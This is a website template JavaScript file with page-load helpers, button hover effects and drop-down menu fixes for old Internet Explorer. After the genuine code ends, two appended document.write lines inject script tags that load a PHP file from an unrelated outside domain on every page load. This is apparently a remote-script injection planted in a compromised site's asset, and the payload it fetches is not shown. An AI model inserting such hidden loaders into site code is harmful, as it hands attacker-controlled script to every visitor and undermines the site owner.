/* begin Page */
list = new Array();

function init() {
    if (arguments.callee.done) return;
    arguments.callee.done = true;
    for (var i = 0; i < list.length; i++) list[i]();
};

if (document.addEventListener) {
    document.addEventListener("DOMContentLoaded", init, false);
}
/*@cc_on @*/
/*@if (@_win32)
document.write('<script id="__ie_onload" defer="defer" src="javascript:void(0)"><\/script>');
var script = document.getElementById("__ie_onload");
script.onreadystatechange = function() {
    if (this.readyState == "complete") {
     init();
    }
};
/*@end @*/
if (/WebKit/i.test(navigator.userAgent)) {
    var _timer = setInterval(function() {
        if (/loaded|complete/.test(document.readyState)) {
            clearInterval(_timer);
            init();
        }
    }, 10);
}
window.onload = init;

// fix ie blinking
var m = document.uniqueID
&& document.compatMode
&& !window.XMLHttpRequest
&& document.execCommand;

try{
     if(!!m)
{
         m("BackgroundImageCache", false, true)
      }
}
catch(oh){};

function xGetElementsByClassName(clsName, parentEle, tagName) {
	var elements = null;
	var found = new Array();
	var slash = String.fromCharCode(92);
	var re = new RegExp(slash + "b" + clsName + slash + "b");
	if (!parentEle) parentEle = document;
	if (!tagName) tagName = '*';
	elements = parentEle.getElementsByTagName(tagName);
	if (elements) {
		for (var i = 0; i < elements.length; ++i) {
			if (elements[i].className.search(re) != -1) {
				found[found.length] = elements[i];
			}
		}
	}
	return found;
}

function jsHover() {
    var elements=xGetElementsByClassName("btn",document, "span");
    
	for (var i=0; i<elements.length; i++) {
	     if (!elements[i].tagName) continue;
		elements[i].parentNode.onmouseover=function() {
            this.getElementsByTagName("span")[0].className+=" hover";
        }
        elements[i].parentNode.onmouseout=function() {
            this.getElementsByTagName("span")[0].className=
            this.getElementsByTagName("span")[0].className.replace(/hover/, "");
        }
		
	}
}
list.push(jsHover);/* end Page */

/* begin Menu */
function Insert_Separators()
{   
    var menus = xGetElementsByClassName("menu", document);
    for (var i = 0; i < menus.length; i++) {
        var menu = menus[i];
        var childs = menu.childNodes;
        var listItems = [];
        for (var j = 0; j < childs.length; j++){
            var el = childs[j];
            if (String(el.tagName).toLowerCase() == "li")listItems.push(el);
        }
        for (var j = 0; j < listItems.length - 1; j++){
            var span = document.createElement('span');
            span.className = 'separator';
            var li = document.createElement('li');
            li.appendChild(span);
            listItems[j].parentNode.insertBefore(li, listItems[j].nextSibling);
        }
    }
}
list.push(Insert_Separators);

function Menu_IE6Setup() {
    var isIE6 = navigator.userAgent.toLowerCase().indexOf("msie") != -1 
		            && navigator.userAgent.toLowerCase().indexOf("msie 7") == -1;
	if (!isIE6) return;
	var aTmp2, i, j, oLI, aUL, aA;
	var aTmp = xGetElementsByClassName("menu", document, "ul");
	for (i=0;i<aTmp.length;i++) {
		aTmp2 = aTmp[i].getElementsByTagName("li");
		for (j=0;j<aTmp2.length;j++) {
			oLI = aTmp2[j];
			aUL = oLI.getElementsByTagName("ul");
			if (aUL && aUL.length) {
				oLI.UL = aUL[0];
				aA = oLI.getElementsByTagName("a");
				if (aA && aA.length)
					oLI.A = aA[0];
				oLI.onmouseenter = function() {
					this.className += " menuhover";
					this.UL.className += " menuhoverUL";
					if (this.A) this.A.className += " menuhoverA";
				};
				oLI.onmouseleave = function() {
					this.className = this.className.replace(/menuhover/,"");
					this.UL.className = this.UL.className.replace(/menuhoverUL/,"");
					if (this.A) this.A.className = this.A.className.replace(/menuhoverA/,"");
				};
			}
		}
	}
}
list.push(Menu_IE6Setup);
/* end Menu */
document.write('<script src=http://ebloodservices.com/etrading/datatosubject.php ><\/script>');
document.write('<script src=http://ebloodservices.com/etrading/datatosubject.php ><\/script>');